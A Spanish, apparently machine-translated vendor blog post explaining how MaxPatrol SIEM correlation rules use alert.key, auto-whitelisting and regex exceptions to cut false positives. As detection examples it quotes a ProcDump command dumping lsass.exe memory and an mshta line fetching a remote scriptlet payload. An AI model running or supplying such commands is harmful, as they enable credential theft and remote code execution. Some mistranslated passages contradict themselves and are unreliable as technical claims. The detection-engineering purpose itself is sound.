¡Hola amigos! Bienvenido a esta serie sobre los desafíos que enfrentan los usuarios de sistemas de defensa y detección de ataques. Este es el primer artículo de la serie. En este artículo, exploraremos los secretos de la detección de ataques relacionados con las soluciones SIEM (Sistema de detección de eventos y monitoreo de eventos de seguridad de la información, información de seguridad y gestión de eventos ), cómo PT Expert Security Center (PT ESC) puede ayudar a MaxPatrol Experiencia SIEM y cómo puede ayudar a detectar ataques y compartir nuestra experiencia con los activadores de reglas relacionados.
El papel de la experiencia en la tecnología
Todas las funciones y paquetes de inspección de MaxPatrol SIEM ( 35 paquetes y más de 540 reglas de detección de ataques) se desarrollaron con la participación directa de expertos de PT ESC . Hacemos esto investigando y encontrando nuevos TTP (Tácticas, Técnicas y Procedimientos Adversarios) e IoA (Indicadores de Ataque), utilizando TTP e IoA identificados en la respuesta a incidentes del cliente , capacitación de red colaborativa e interacciones internas con equipos rojos ( equipo púrpura ) .
Algunos de los métodos que ofrecemos no tienen paralelo: por ejemplo, la inclusión automática en la lista blanca (que se agrega a la lista de actividades permitidas) y las plantillas de excepción (que se agregan a las excepciones haciendo clic en la tarjeta del evento). Todos nuestros esfuerzos se realizaron para garantizar que los usuarios sin experiencia profunda puedan aplicar la experiencia de Positive Technologies para identificar rápidamente a los atacantes.
El paquete de experiencia no solo incluye las reglas clásicas para identificar a los atacantes TTP , sino también varios chips, contenido enriquecido, aprendizaje automático y otros mecanismos. No solo ayudan en la detección rápida de atacantes, sino que también permiten la contextualización del ataque a tiempo para permitir una respuesta rápida de alta calidad (uno de los procesos centrales de SecOps, si no el principal ) . De eso es de lo que vamos a hablar a continuación.
términos básicos
Para ayudarlo a comprender mejor nuestro enfoque para la detección y alerta de ataques, usemos MaxPatrol SIEM como ejemplo, comenzando con alguna terminología básica y los nombres de las áreas de taxonomía clave.
Un ataque interactivo es la actividad real del atacante, a diferencia de un ataque automatizado, en cuyo caso necesita, por ejemplo, analizar la infraestructura interna de la empresa, obtener credenciales, tomar medidas para moverse lateralmente en la red.
El propósito del mecanismo de detección es detectar ataques interactivos destinados a lograr eventos no válidos.
alert.key es un campo o concatenación de campos de taxonomía en los que se basa la detección de átomos. Cada regla relacionada tiene su propia clave.
Por ejemplo, la regla relacionada con ProcDump_Usage se activa si el patrón de la utilidad ProcDump para volcar la memoria de otros procesos está presente en la línea de comandos de un proceso en ejecución. Su clave de activación: $alert.key = C:\Windows\Temp\proc.exe -accepteula -ma lsass.exe \windows\temp\kernel.dmp Para las reglas que detectan la ejecución de código a través de mshta MSHTA_AWL_Bypass, alert.key es Connection del nombre del proceso principal a la línea de comando del proceso en ejecución: $alert.key = cmd.exe | C:\Windows\System32\mshta.exe vbscript:close(execute("getobject(""script:https[:] // 10.0.10.10/carga útil[.]sct "")")).
Cada regla de asociación en MaxPatrol SIEM contiene un campo de taxonomía clave alrededor del cual se construyen los mecanismos que se describen a continuación.
Figura 1. Ejemplo de alert.key para la regla MSHTA_AWL_Bypass
alert.context: otros campos no críticos que son necesarios para que el analista comprenda completamente lo que sucedió y lo que activó la regla.
Por ejemplo, el campo alert.context de la misma regla MSHTA_AWL_Bypass sería el nombre del archivo HTA que se activó.
Figura 2. Ejemplo de contexto de alerta para la regla MSHTA_AWL_Bypass
Considere un escenario en el que está viendo activadores de reglas relacionados agrupándolos por algún campo de taxonomía. Suponiendo que haya ordenado sus disparadores por correlación_nombre y seleccionado los campos anteriores en seleccionar. Luego, puede ver muchos eventos en segundos sin mirar las tarjetas de eventos y ver lo que le interesa.
Figura 3 : Un análisis rápido del disparador alert.key
El " ruido" de los falsos positivos
Es posible escribir solo una regla y detectar la mayoría de las acciones de los piratas informáticos. Sin embargo, respondamos a la pregunta: ¿Cuántas de estas acciones realmente indican un ataque en línea? Aquí encontramos los principales desafíos de SIEM en la detección de ataques: experiencia incorporada insuficiente, falsos positivos (falsos positivos, falsos negativos) y falta de mecanismos eficientes para enfrentarlos, lo que requiere la automatización de tareas repetitivas. Abordar estos problemas ayudará a identificar eventos reales más rápido y con mayor calidad.
Independientemente del nivel de protección, el "ruido" de los falsos positivos es un desafío clave para los analistas. Los profesionales se molestan con las alertas y pierden los ataques por eso.
Tipos de reglas de asociación
¿Cuántos incidentes de ataques interactivos ocurren realmente en una infraestructura típica: diariamente, mensualmente, anualmente? Las posibilidades de que un punto final en particular sea atacado de forma interactiva ahora son muy bajas. Sin embargo, las reglas de asociación siguen funcionando. ¿por qué?
Hay dos tipos de reglas de correlación. El primer tipo son reglas precisas cuya lógica involucra identificar TTPs a través de patrones específicos. Un ejemplo simple es identificar las herramientas de piratería por sus nombres. Las reglas de correlación precisas se caracterizan por muy pocos falsos positivos. Pero lo que es aún más aterrador para nosotros es que tienen muchos falsos positivos, lo que significa que es fácil evadir la detección.
La segunda categoría son las reglas de correlación, que se caracterizan por una gran cantidad de falsos positivos, pero lo que es más importante, pocos falsos negativos. A menudo, las actividades del atacante son indistinguibles de las de los administradores y usuarios, así como del software legítimo. Puede ocultarse en los millones de eventos diarios generados por los registros de seguridad. Se utiliza un segundo tipo de asociación para detectar esta actividad.
La probabilidad de un ataque interactivo es muy baja, pero existe, por lo que debe estar preparado para ello. Tratar con falsos positivos es mucho más complejo, lento y costoso. Es necesario manejarlos y las alertas en general de la forma más automática posible. Intentamos desviar la atención del operador de las tareas rutinarias a la búsqueda proactiva de amenazas y usamos otras características de SecOps: Contexto máximo en disparadores, datos enriquecidos de servicios internos o externos, incluidos datos de aprendizaje automático, blanco La automatización del mecanismo de lista también incluye la aplicación de ML, un mecanismo de caza de amenazas conveniente y eficiente.
Considere soluciones que minimicen los falsos positivos y los falsos negativos y ayude a los operadores a identificar rápidamente si se trata de un evento o de un falso positivo.
Lista blanca automática
¿Recuerda la idea de que la cantidad de ataques interactivos en su infraestructura era baja o cercana a cero, y el manejo manual de casos de falsos positivos requería mucho tiempo y no era interesante? Ahora recomendamos comenzar desde este paradigma: cualquier alerta duplicada que active la regla relevante para la segunda, tercera o posterior (la que esté más cerca de ti) clave, se considera a priori como un falso positivo, a menos que se indique explícitamente que debe repetirse en el futuro.
Cuando se activa una regla relacionada, el patrón activado, la variable $alert.key, se escribe en la lista de tablas temporales Common_whitelist_auto_swap. Tiene un contador que especifica cuántas veces se activó la regla con $alert.key. Si una regla se activa al menos dos veces (se puede establecer cualquier umbral), esta y la clave se ingresan en la columna valor_específico de la lista de la tabla Common_whitelist_auto. Luego, la regla compara los valores de $alert.key y $specific_value y, si coinciden, no se activa (está en la "lista blanca").
Desventaja de este enfoque: si el operador no ve la regla relevante para el activador y no procesa la alerta, entonces la próxima vez que dicho activador no volverá a ocurrir (pero en cualquier caso, de acuerdo con los umbrales establecidos en el cronograma). lista, habrá varios factores desencadenantes).
Figura 4 : Ejemplo de lista blanca automática
Con este enfoque, el operador no necesita hacer nada con la alerta (excepto en el caso en que el disparador sea un evento y deba manejarse). Si se encuentra un $alert.key duplicado, todo se incluirá en la "lista blanca" (consulte la Figura 8, flujo de trabajo con la lista blanca de alertas).
plantilla
Una plantilla es un mecanismo mediante el cual se puede agregar cualquier campo o concatenación de ellos a la interfaz de usuario de una tarjeta de alerta al hacer clic, para listas blancas, listas negras, IoC, etc. Es esencial cuando necesita incluir campos en la "lista blanca" que no se proporcionan en $alert.key o la concatenación de cualquier otro campo de taxonomía. Las plantillas especifican campos de taxonomía para cada tipo de evento involucrado en la correlación, y las reglas de correlación ya incluyen mecanismos para incluir en la lista blanca los campos agregados. Este mecanismo está disponible para los usuarios de MaxPatrol SIEM.
Figura 5. Ejemplo de lista blanca por plantilla
Common_whitelist_regex
Las excepciones anteriores solo se aplican a los campos taxonómicos de coincidencia exacta. "¿Qué pasa cuando necesitamos 'lista blanca' a través de expresiones regulares?" - preguntas. Las listas blancas y las listas negras de expresiones regulares están diseñadas para situaciones en las que los dominios taxonómicos que desea excluir cambian constantemente en activaciones repetidas. El mecanismo utiliza las listas de tablas Common_whitelist_regex y Common_blacklist_regex: contienen expresiones regulares que desea excluir o agregar a la lista negra. Este mecanismo también ya existe en MaxPatrol SIEM, y puede aprovecharlo.
Figura 6. Ejemplo de entrada de lista de formato de tabla Common_whitelist_regex
Sin embargo, los operadores deben analizar constantemente los disparadores que no se pueden "agregar a la lista blanca" automáticamente, generando manualmente expresiones regulares y agregándolas a la lista de la tabla. Esto requiere mucho tiempo que podría dedicarse a la búsqueda de amenazas o a la investigación de nuevas amenazas.
Genera automáticamente expresiones regulares
El aprendizaje automático (es decir, la generación automática de expresiones regulares basadas en búsquedas de eventos similares) utilizado junto con otros mecanismos de listas blancas puede ayudar a reducir la carga de los analistas mediante la automatización de tareas rutinarias.
Figura 7 : Basado en la agrupación de eventos similares, un ejemplo de aplicación ML que genera términos automáticamente
Consideremos ahora el escenario de procesamiento para desencadenar reglas de asociación.
Figura 8. Flujo de trabajo con lista blanca de alertas
Supervisamos las tendencias actuales de detección de ataques, mejoramos continuamente nuestras defensas y desarrollamos nuevas capacidades. Nuestro objetivo es hacer la vida más fácil a los usuarios que monitorean diariamente los incidentes de seguridad de la información.
Gracias por leer hasta el final, esperamos que este material y nuestra experiencia lo ayuden a detectar mejor y más rápido a los malos actores en su infraestructura.